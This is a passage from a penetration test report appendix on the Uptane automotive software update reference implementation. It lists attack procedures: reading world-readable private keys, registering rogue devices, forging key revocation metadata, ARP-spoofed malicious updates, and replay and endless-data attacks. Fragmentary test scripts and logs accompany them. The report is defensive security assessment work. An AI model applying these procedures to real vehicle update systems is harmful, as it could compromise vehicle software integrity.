'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
[2018.02.02 21:13:03UTC] [Primary] INFO [Primary.py:Primary_update_cycle():563]
Metadata for the following Targets has been validated by both the Director and
the Image repository. They will now be downloaded:['/Secondary_update.img']
Downloading: 'http://192.168.1.100:30301/targets/Secondary_update.img'
Downloaded 20 bytes out of the expected 20 bytes.
Not decompressing http://192.168.1.100:30301/targets/Secondary_update.img
The file's 'sha512' hash is correct:
'3ab881c2e2025f8dd047be4b3a871339a77e8715c8da029d9889958e4b1d913bbcae3f3346f512
a9aac20a50920df2b8b8b5815332954d22b96eced7065a3e24'
The file's 'sha256' hash is correct:
'7eb838091a68548882caf9b85e4a15eb282b0e8b588f664202a28689095a9aee'
[2018.02.02 21:13:03UTC] [Primary] INFO [Primary.py:Primary_update_cycle():651]
Successfully downloaded trustworthy 'Secondary_update.img' image.
Navigate to common logging locations for Linux-based processed (as seen below) looking for any security
pertinent information being displayed by the Uptane Primary process.
/var/log/
/proc/[Uptane-process-ID]
Monitor the output displayed on the screen when performing an update. It should appear similar to the
output below.
B-11
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-12
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Not decompressing
file:////home/pi/workspace/uptane/temp_Secondary8OBwU/unverified/imagerepo/meta
data/snapshot.json
The file's 'sha256' hash is correct:
'22f2578d065946530bb43d4a3f3608f66eafc2fc69be48aaaf2a0890a348a3ab'
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary8OBwU/unverified/imagerepo/met
adata/root.json'
Downloaded 2120 bytes out of the expected 2120 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_Secondary8OBwU/unverified/imagerepo/meta
data/root.json
The file's 'sha256' hash is correct:
'005bcb7b805ef4086889d92d10206926de147afee777221957db135c7abc38e9'
Verifying 'targets'. Requesting version: 2
Downloading:
'file:////home/pi/workspace/uptane/temp_Secondary8OBwU/unverified/imagerepo/met
adata/targets.json'
Downloaded 2811 bytes out of an upper limit of 5000000 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_Secondary8OBwU/unverified/imagerepo/meta
data/targets.json
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
The file's 'sha512' hash is correct:
'3ab881c2e2025f8dd047be4b3a871339a77e8715c8da029d9889958e4b1d913bbcae3f3346f512
a9aac20a50920df2b8b8b5815332954d22b96eced7065a3e24'
The file's 'sha256' hash is correct:
'7eb838091a68548882caf9b85e4a15eb282b0e8b588f664202a28689095a9aee'
[2018.02.02 21:13:33UTC] [Secondary] DEBUG [Secondary.py:validate_image():682]
Delivered target file has been fully validated:
'/home/pi/workspace/uptane/temp_Secondary8OBwU/unverified_targets/Secondary_upd
ate.img'
Navigate to common logging locations for Linux-based processed (as seen below) looking for any security
pertinent information being displayed by the Uptane Secondary process.
/var/log/
/proc/[Uptane-process-ID]
None of the output proved to have security pertinent information, therefore, this test is a Pass.
B-13
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result FAIL
B-14
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
update_cycle()
generate_signed_vehicle_manifest()
submit_vehicle_manifest_to_director()
B-15
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result FAIL
B-16
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Recommendations
It is recommended to not use a temporary directory to store security sensitive information throughout
the update process. If the reference implementation must use a temporary directory during the update
process, then it should not allow global read permissions. Additionally, although the implementation is
intended for reference, the storage of keys on the filesystem, albeit encrypted, with global read
permissions, is a major security vulnerability. It is recommended to use a hardware/virtual trusted
platform module (TPM) or Hardware Security Module (HSM), for handling key storage. Additionally, it
should be noted, that Uptane clients (i.e., Primary and Secondary) should not possess the private keys for
the servers or other ECU’s (i.e., another Primary or Secondary) it is communicating with.
B-17
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
ls -alh temp_PrimaryIPYZD/
ls -alh temp_Secondarymn6hK/
The metadata downloaded from both the director and image repository are stored in the temp
directories. Additionally, the downloaded update is stored in the temp directories. All of the files can be
modified, thereby, modifying the update image and the metadata stored on the Uptane clients.
The two temporary directories can be found in their entirety in Data folder of this test procedure.
Step 3: Search for Sensitive Information
Afterward, determine if you are able to find the keys both clients are using. If so, determine what the
access privileges to the files are by running the following command:
ls -alh demo/keys
Verify the output from the clients looks similar to the following:
B-18
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Attempt to read the private key for the Director’s root role by performing the following command:
cat demo/keys/directorroot
The clients are utilizing temporary directories with security relevant information and read privileges for
all users on the system. Additionally, the clients are storing the cryptographic keys used during the update
in memory, in an encrypted format, with global read privileges. However, since the source code is open-
source it is a trivial feat to decrypt the encrypted private keys. Due to these security issues, this test has
failed.
Note, the testers understand the reference implementation is not a hardened production system.
However, the storage of private keys with global read privileges and without the use of a physical/virtual
trusted platform module (TPM) or Hardware Security Module (HSM), leaves the implementation at risk
for anyone implementing the code in production. Lastly, the principle of least privilege should be
implemented, such that, the Uptane clients and servers should only possess the private keys relevant to
themselves. In other words, the Uptane Secondary should not contain the private key of the Director
root’s role in memory.
B-19
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) TEST.1 Sniffing
Tester Allen Cain
Result FAIL
B-20
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
This revealed that the client errors out and does not attempt to reconnect with the servers upon regaining
the communication link. Although this limits functionality of the Uptane Primary, it did not leave the
device in a compromised state.
Lastly, this test attempted to exploit the registration process between a Secondary and a Primary. This
was done by registering a rouge Secondary (with the same name as a valid Secondary) with the Primary
to attempt to route traffic to the rogue device and starve the valid Secondary from an update. Although
the attack was not successful at starving an update from as valid Secondary, it does allow for potential
functionality issues and a potential loss of intellectual property.
Recommendations
SwRI recommends for the server to deny receiving a vehicle version manifest from the client that was
previously detected as sending a spoofed ecu_registration() request, which can be accomplished in a
variety of ways. Including, a challenge-response approach, where the server would authenticate the
Primary before receiving and/or sending private information (e.g., metadata, update images, etc.).
Additionally SwRI recommends incorporating functionality into the Primary that can detect if a Secondary
is already registered, thereby, not allowing duplicate Secondaries to register with a Primary. In addition
to providing more accurate functionality, this recommendation will also assist with identification of a
rogue Secondary. Lastly, SwRI believes this will assist the inventory database in properly performing
dependency resolution and allow the Director to prepare updates for the correct Secondary.
B-21
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python duplicate_device.py
Verify the server recognized the attack and responded similarly to the following.
<?xml version='1.0'?>
<methodResponse>
<fault>
<value><struct>
<member>
<name>faultString</name>
<value><string><class 'uptane.Spoofing'>:The given VIN, '111', is already
associated with a Primary ECU.</string></value>
</member>
<member>
<name>faultCode</name>
<value><int>1</int></value>
</member>
</struct></value>
</fault>
</methodResponse>
Afterward, perform the functionality exercised when performing an update_cycle() request from the
Primary. Verify the server sends the pertinent metadata and images associated with the spoofed VIN.
Although the server correctly recognized the rogue Primary attempting to register with the server, it did
not prevent the same rogue Primary from downloading metadata and applicable images for the valid
Primary.
Step 3: Attempt to Register a Rogue Device
Next, craft an XMLRPC request that utilizes the same ECU name but with a different VIN. Run the script
by running the following command:
python register_rogue_device.py
Verify the server recognized the attack and responded similarly to the following.
<?xml version='1.0'?>
<methodResponse>
<fault>
<value><struct>
<member>
B-22
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
<name>faultString</name>
<value><string><class 'uptane.Spoofing'>:The given ECU Serial,
'PRIMARY_ECU_1', is already associated with a public key.</string></value>
</member>
<member>
<name>faultCode</name>
<value><int>1</int></value>
</member>
</struct></value>
</fault>
</methodResponse>
B-23
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
It was determined that the Primary fails to initialize if the data connection is interrupted between itself
and the servers. Upon reestablishing the connection, the Primary does not attempt to reconnect, and
instead, waits for the command line prompt to reinitiate the connection to register the Primary.
Step 5: Register a Duplicate Secondary with the Primary
Lastly, attempt to register a duplicate Secondary with the Primary. Ensure the Primary is already registered
with the servers and is registered with at least one valid Secondary. Afterward, push an update from the
servers to the Primary. Next, register a rogue Secondary with the Primary that contains the same
ecu_serial value as the valid Secondary. Then run the following command on the rogue Secondary:
ds.update_cycle()
Note that the rogue Secondary has successfully installed the update. Afterward, run the following
command on the valid Secondary:
ds.update_cycle()
Verify the valid Secondary has successfully downloaded the update which implies that a valid Secondary
would not be prone to a freeze attack because a rogue Secondary has downloaded it. Although a rogue
Secondary cannot ‘steal’ an update from a valid Secondary, allowing multiple Secondaries with the same
name to be registered with the Primary, leads to potential functionality issues and a loss of intellectual
property.
B.6.5 Test Scripts
duplicate_device.py
import http.client
request = ''
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
B-24
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
register_rogue_device.py
import http.client
request = ''
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
B-25
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result PASS
B-26
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
dd.revoke_compromised_keys()
Afterward request the updated metadata on both the Primary and Secondary by running the following
commands:
dp.update_cycle()
ds.update_cycle()
temp_Secondary12345
> unverified_targets
- update.txt
> unverified
> imagerepo
> metadata
- timestamp.json
- targets.json
- snapshot.json
- root.json
> director
> metadata
- timestamp.json
- targets.json
- snapshot.json
- root.json
> metadata
> imagerepo
> previous
- timestamp.json
- targets.json
- snapshot.json
- root.json
> current
- timestamp.json
- targets.json
B-27
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
- snapshot.json
- root.json
> director
> previous
- timestamp.json
- targets.json
- snapshot.json
- root.json
> current
- timestamp.json
- targets.json
- snapshot.json
- root.json
metadata_archive.zip
update.txt
Verify all of the metadata files under the director > current directory have a newer (greater) version
number than the metadata in the director > previous directory.
Step 4: Attempt Unauthorized Key Revocation
Create 4 sets of keys by performing the following actions in a python3 terminal.
root_key = tuf.keys.generate_ed25519_key()
snapshot_key = tuf.keys.generate_ed25519_key()
timestamp_key = tuf.keys.generate_ed25519_key()
targets_key = tuf.keys.generate_ed25519_key()
Afterward, create a metadata directory that mimics the directory of a valid Primary. Copy the current
metadata from the Primary into the previous directory. Open the metadata files in the current directory
and increment all of the version numbers.
Then perform the following steps to create the ‘new’ root.json file:
signable[‘signed’] = { [metadata] }
signabled[‘signatures’] =
(tuf.sig.sign_over_metadata(root_key,signable['signed']))
open(‘root.json’,’w’).write(repr(signable))
print(tuf.hash.digest_filename('key_revocation_testing/modified/metadata/direct
or/current/root.json').hexdigest()) used in snapshot.json
Perform the previous steps for the other three metadata files: snapshot.json, timestamp.json, and
targets.json.
Then setup an attacking machine that is can communicate with the Secondary. Replace the Primary’s
connection to the Secondary with the attacking machine. Copy the previously created files to your current
working directory. Run the following commands to mimic a Primary listening on port 30701:
python key_revocation.py
ds.update_cycle()
B-28
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Monitor the response of the Secondary and the temporary directory’s metadata to determine if the
malicious key revocation was successful. The output from the Secondary looked similar to the following:
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
'file:////home/pi/workspace/uptane/temp_SecondarylRcju/unverified/imagerepo/met
adata/timestamp.json'
[TRUNCATED]
[TRUNCATED]
{
"signatures": [
{
"keyid": "fdba7eaa358fa5a8113a789f60c4a6ce29c4478d8d8eff3e27d1d77416696ab2",
"method": "ed25519",
"sig":
"4f6ccda358737474e4999f02e8943636422249c38d3a8ac23c5701105480f54e7a5cb8eeb5ee59
be07d9e1d0f1535583f130bf1e7b7d715a5e490b46b50ccf0b"
},
{
"keyid": "be24a45ed164dae69221a0cdb2031117f3b0ccc0df4aa0670441f18bbe30004d",
"method": "ed25519",
B-29
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
"sig":
"9987484857320632338983f91d156e7b53482902e7d3d98bd764bc63cb3c849f0414d092c36153
fde17e59100dcc32fe8cbf3ba6d0123c543758ca475144fa03"
}
],
"signed": {
"_type": "Root",
"compression_algorithms": [
"gz"
],
"consistent_snapshot": false,
"expires": "2019-03-02T23:09:15Z",
"keys": {
"1d08cabb04831c3482df4e20bb648841530d060946e385bc1558fbc0f382d9d7": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
"public": "bbf9b7a7eb1b4693e2b9ece71186bc56d6b1fcb4682935c0708e416de1d08b22"
}
},
"a3dc9c8deebeb63cf4bbccf2ab81834c94de582566dae42ce611fcff04f98693": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
"public": "9a02df2b0c0be3d7af000f34be257823a6c8a540b4fab747d877d14ad7563b19"
}
},
"01aebb890a6bb3157eecbc02ce1e086a0c998729f03b7349b6d680de2b251b57": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
"public": "3a7a20e154d1744a389ef2eedbcedbeef3763a53a9ec80c21746c4a83dd7bf6c"
}
},
"fdba7eaa358fa5a8113a789f60c4a6ce29c4478d8d8eff3e27d1d77416696ab2": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
"public": "f3b4c231520580eca92e17ae1581a708f606f72d43cc200af493afeec22a5e79"
}
},
"be24a45ed164dae69221a0cdb2031117f3b0ccc0df4aa0670441f18bbe30004d": {
"keyid_hash_algorithms": [
"sha256",
"sha512"
],
"keytype": "ed25519",
"keyval": {
B-30
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
"public":
"0a38cee58dcc3ab0a097bb36ab0da148639d985b50fae20ce7cbd69b3103bf81"
}
}
},
"roles": {
"root": {
"keyids": [
"fdba7eaa358fa5a8113a789f60c4a6ce29c4478d8d8eff3e27d1d77416696ab2",
"be24a45ed164dae69221a0cdb2031117f3b0ccc0df4aa0670441f18bbe30004d"
],
"threshold": 1
},
"snapshot": {
"keyids": [
"a3dc9c8deebeb63cf4bbccf2ab81834c94de582566dae42ce611fcff04f98693"
],
"threshold": 1
},
"targets": {
"keyids": [
"1d08cabb04831c3482df4e20bb648841530d060946e385bc1558fbc0f382d9d7"
],
"threshold": 1
},
"timestamp": {
"keyids": [
"01aebb890a6bb3157eecbc02ce1e086a0c998729f03b7349b6d680de2b251b57"
],
"threshold": 1
}
},
"version": 3
}
}
ds.update_cycle()
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
B-31
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
B-32
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.11 Replay Update
Tester Allen Cain
Result PASS
B-33
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Afterward, navigate to the attacking directory (i.e., ~/uptane/endless_data/) and append the expected
update data to the newly created 1GB update via the following command.
echo ‘expected data’ | cat – update.txt >> temp.txt && mv temp.txt update.txt
Lastly, copy the rogue update into the two expected directories via the following commands:
cp update.txt targets/
cp update.txt [VIN]/targets/
python3 endless_data_attack.py
python3 -m http.server 30401
python3 -m http.server 30301
dp.update_cycle
B-34
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
[…TRUNCATED…]
[Primary.py:Primary_update_cycle():563]
Metadata for the following Targets has been validated by both the Director and
the Image repository. They will now be downloaded:['/Secondary_update.txt']
Downloading: 'http://192.168.1.100:30301/targets/Secondary_update.txt'
Downloaded 18 bytes out of the expected 18 bytes.
Not decompressing http://192.168.1.100:30301/targets/Secondary_update.txt
Update failed from http://192.168.1.100:30301/targets/Secondary_update.txt.
BadHashError
Failed to update /Secondary_update.txt from all mirrors:
{'http://192.168.1.100:30301/targets/Secondary_update.txt':
BadHashError('651bdb7fa636052949a6220202c5faa7b9258a5dcb31ad01632b49c338c28b27'
, 'e116d4ef5a2f2dbba9a61970a25cab3e6695418e3dbfa71071e4d07aebb1f083')}
Downloading: 'http://192.168.1.100:30401/111/targets/Secondary_update.txt'
Downloaded 18 bytes out of the expected 18 bytes.
Not decompressing http://192.168.1.100:30401/111/targets/Secondary_update.txt
The file's 'sha256' hash is correct:
'651bdb7fa636052949a6220202c5faa7b9258a5dcb31ad01632b49c338c28b27'
The file's 'sha512' hash is correct:
'994d865396d913f8754af181aeba16996a44a07de595dea2c3a7f96ce0a3910aa8b74905edbb30
94954aabffe20f14dd2b3f0ea82767960c9fb030886fbb56ef'
[2018.02.14 15:29:18UTC] [Primary] INFO [Primary.py:Primary_update_cycle():651]
Successfully downloaded trustworthy 'Secondary_update.txt' image.
Examine the tuf.log file to determine if there is any output related to our malicious update.
[…TRUNCATED…]
18-02-14 15:29:18,899 UTC] [tuf.download] [DEBUG]
[_check_content_length:[email protected]]
The server reported a length of 1024000019 bytes.
[…TRUNCATED…]
As seen in the output above, although the Primary recognizes the update from the server is 1GB, the
Primary limits the data it downloads to the expected data length (previously determined from signed
metadata from director and image repository). Therefore, to successfully launch an endless data attack,
both repository keys would need to be compromised sign the extremely large update. Therefore, this test
passed.
B-35
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
try:
timeserver.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt.")
sys.exit(0)
B-36
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) TEST.1 Sniffing
Tester Allen Cain
Result PASS
B-37
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python replay_update.py
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
'file:////home/pi/workspace/uptane/temp_SecondarywSirN/unverified/director/meta
data/timestamp.json'
Downloaded 554 bytes out of an upper limit of 16384 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_SecondarywSirN/unverified/director/metad
ata/timestamp.json
metadata_role: 'timestamp'
'snapshot.json' up-to-date.
'root.json' up-to-date.
'targets.json' up-to-date.
Verifying 'timestamp'. Requesting version: None
Downloading:
'file:////home/pi/workspace/uptane/temp_SecondarywSirN/unverified/imagerepo/met
adata/timestamp.json'
Downloaded 554 bytes out of an upper limit of 16384 bytes.
Not decompressing
file:////home/pi/workspace/uptane/temp_SecondarywSirN/unverified/imagerepo/meta
data/timestamp.json
metadata_role: 'timestamp'
'snapshot.json' up-to-date.
'root.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
B-38
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
'targets.json' up-to-date.
'targets.json' up-to-date.
'targets.json' up-to-date.
The file's 'sha256' hash is correct:
'95a5f756380f43ba238e63fe314e63c9dd62967ff81b4d3e9ad7a0dec19db3c9'
The file's 'sha512' hash is correct:
'432c8788fc9480b07d8d78fcd7f1b35ab606854a5ddef24cc87ff7d4e54bb472b789bf43a1d143
240c8a552ac37237a0ea74c2e09c7591807d9bfd40bbc30960'
[2018.02.09 14:55:44UTC] [Secondary] DEBUG [Secondary.py:validate_image():682]
Delivered target file has been fully validated:
'/home/pi/workspace/uptane/temp_SecondarywSirN/unverified_targets/Secondary_upd
ate.img'
We already have installed the firmware that the Director wants us to install.
Image: 'Secondary_update.img'
As seen above, the Secondary realizes the timeserver attestation does not contain the Secondary’s nonce,
so it does not update it’s time. However, the Secondary continues to verify the metadata, which implies,
it’s update process was not hindered by a non-valid timeserver attestation response. Ultimately, the
Secondary recognizes that its current installed image matches the image our rogue Primary was
attempting to send, and does not attempt to install our replayed update, thus this test is a pass.
B.9.5 Test Scripts
replay_update.py
import base64
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
B-39
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
def update_exists_for_ecu(val1=False,val2=False,val3=False):
return True
server.register_function(update_exists_for_ecu,
'update_exists_for_ecu')
B-40
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.11 Replay Update
Tester Allen Cain
Result PASS
B-41
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
dp.update_cycle()
Next, remove the connectivity of the Primary and route traffic on the router destined for the Primary to
the attacking machine (either add the rule manually on the router or ARP spoofing). Additionally, copy the
director/ and imagerepo/ directories onto the attacking machine and zip them into one file via the
following command:
Ensure the attacking machine is listening on the same port as the Primary (port 30701) and is capable of
handling the previously noted XMLRPC requests (i.e., get_time_attestation_for_ecu, get_metadata,
update_exists_for_ecu, get_image, submit_ecu_manifest). Run the malicious Primary by running the
following command:
python malicious_update.py
ds.update_cycle()
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
[…TRUNCATED…]
B-42
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Requested and received image from Primary, but this Secondary has not validated
any target info that matches the given filename. Expected: 'Secondary.txt';
received: 'Secondary_update.txt'; aborting "install".
Verify the response from the Secondary looks similar to the following when providing an update with the
wrong file length.
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
[…TRUNCATED…]
Verify the response from the Secondary looks similar to the following when providing an update with the
wrong file hash (i.e., a malicious or modified file).
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
was not found. Not updating this Secondary's time this cycle.
Verifying 'timestamp'. Requesting version: None
Downloading:
[…TRUNCATED…]
As seen above, the Secondary realizes the timeserver attestation does not contain the Secondary’s nonce,
so it does not update it’s time. However, the Secondary continues to verify the metadata, which implies,
its update process was not hindered by a non-valid timeserver attestation response.
Ultimately, the Secondary recognizes that the malicious update we tried to send does not match the
expected filename, length, or hash of the update as detailed in both the director’s and image repository’s
targets.json file. Thus, the Secondary does not attempt to install our malicious update, therefore, this test
passed.
B.10.5 Test Scripts
malicious_update.py
import sys
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
B-43
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result PASS
B-44
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Operating System
Running Raspbian 9
Rev.
https://github.com/uptane/uptane/tree/56622b632c5b852c51cf13e5
Software Rev.
8b70a630a6f56450
Test Vector Wireless connection for Uptane Primary and Uptane Secondary
B-45
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
ds.update_cycle()
Interrupt the traffic during transmission (e.g., removing Secondary’s connection) and monitor the output
from the Secondary.
Verify the Secondary was not able to complete the download and presented an error to the screen similar
to the following:
>>> ds.update_cycle()
Verifying 'timestamp'. Requesting version: None
Downloading:
[TRUNCATED…]
B-46
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Afterwards, reconnect the Secondary to the network to determine if it would automatically attempt to
reconnect and finish the update. Lastly, perform the following command to ensure the Secondary can
download the update and has not entered a compromised state.
ds.update_cycle()
The Secondary did not attempt to reconnect automatically after regaining its connection. However, it was
able to successfully download and install the update after regaining its connection.
Step 3: Interrupt Update for Primary
Prepare an update on the servers. Perform the following command on the Primary to pull the update and
applicable metadata from the servers:
dp.update_cycle()
Interrupt the traffic during transmission (e.g., removing Primary’s connection) and monitor the output
from the Primary.
Verify the Primary was not able to complete the download and presented an error to the screen similar
to the following:
>>> dp.update_cycle()
Submitting a request for a signed time to the Timeserver.
[TRUNCATED…]
Downloading: 'http://192.168.1.100:30301/metadata/timestamp.json'
Could not download URL: 'http://192.168.1.100:30301/metadata/timestamp.json'
URLError
Update failed from http://192.168.1.100:30301/metadata/timestamp.json.
URLError
Failed to update timestamp.json from all mirrors:
{'http://192.168.1.100:30301/metadata/timestamp.json': URLError(timeout('timed
out',),)}
Valid top-level metadata cannot be downloaded. Trying to update Root metadata
in case keys have changed for other metadata roles.
Verifying 'root'. Requesting version: None
Downloading: 'http://192.168.1.100:30301/metadata/root.json'
Could not download URL: 'http://192.168.1.100:30301/metadata/root.json'
URLError
Update failed from http://192.168.1.100:30301/metadata/root.json.
URLError
Failed to update root.json from all mirrors:
{'http://192.168.1.100:30301/metadata/root.json': URLError(timeout('timed
out',),)}
Submitting the Primary's manifest to the Director.
Submission of Vehicle Manifest complete.
Afterwards, reconnect the Primary to the network to determine if it would automatically attempt to
reconnect and finish the update. Lastly, perform the following command to ensure the Primary can
download the update and has not entered a compromised state.
B-47
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
dp.update_cycle()
Neither the Primary nor Secondary attempted to reconnect automatically upon regaining their
connection. However, they both successfully downloaded and installed the update when prompted after
regaining their connection. This implies neither client entered a compromised state when experiencing
the loss of their connection, therefore, this test passed.
B-48
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) Test.12 Malicious Update
Tester Allen Cain
Result FAIL
B-49
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Recommendations
Modify the ‘_update_metadata_if_changed()’ method within ‘tuf > client > updater.py’ to account for the
use case of downloading mix-and-match metadata. This modification should not remove trusted
metadata considering the mix-and-match metadata is already stored in an unverified directory.
B-50
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
python3 mix_and_match.py
Afterward request an update from the Secondary client by performing the following command:
ds.update_cycle()
Monitor the output of the Secondary to determine if the attack was successful.
Step 4: Monitor Response
Verify the output on the Secondary looks similar to the following when modifying the snapshot.json file:
>>> ds.update_cycle()
Timeserver attestation from Primary does not check out: This Secondary's nonce
